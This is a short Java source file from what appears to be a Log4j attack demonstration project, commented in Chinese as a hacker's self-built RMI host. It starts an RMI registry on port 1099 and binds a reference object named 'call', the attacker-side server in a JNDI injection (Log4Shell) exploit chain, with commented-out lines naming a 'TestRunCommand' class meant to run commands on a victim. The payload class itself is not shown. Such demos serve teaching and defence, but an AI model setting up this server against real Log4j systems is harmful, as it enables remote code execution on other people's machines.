package top.todu.log4j.attack.demo.rmi.server;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

/** 黑客自建rmi主机 */
public class RmiServerDemo {
  public static void main(String[] args)
      throws RemoteException, AlreadyBoundException, InterruptedException {
    CountDownLatch countDownLatch = new CountDownLatch(1);
    Registry registry = LocateRegistry.createRegistry(1099);
    //    Reference refenence =
    //        new Reference(
    //            "top.todu.log4j.demo.rmi.server.TestRunCommand",
    //            "top.todu.log4j.demo.rmi.server.TestRunCommand",
    //            null);
    registry.bind("call", new ReferenceWraper());
    System.out.println("rmi server started");
    countDownLatch.await();
  }
}
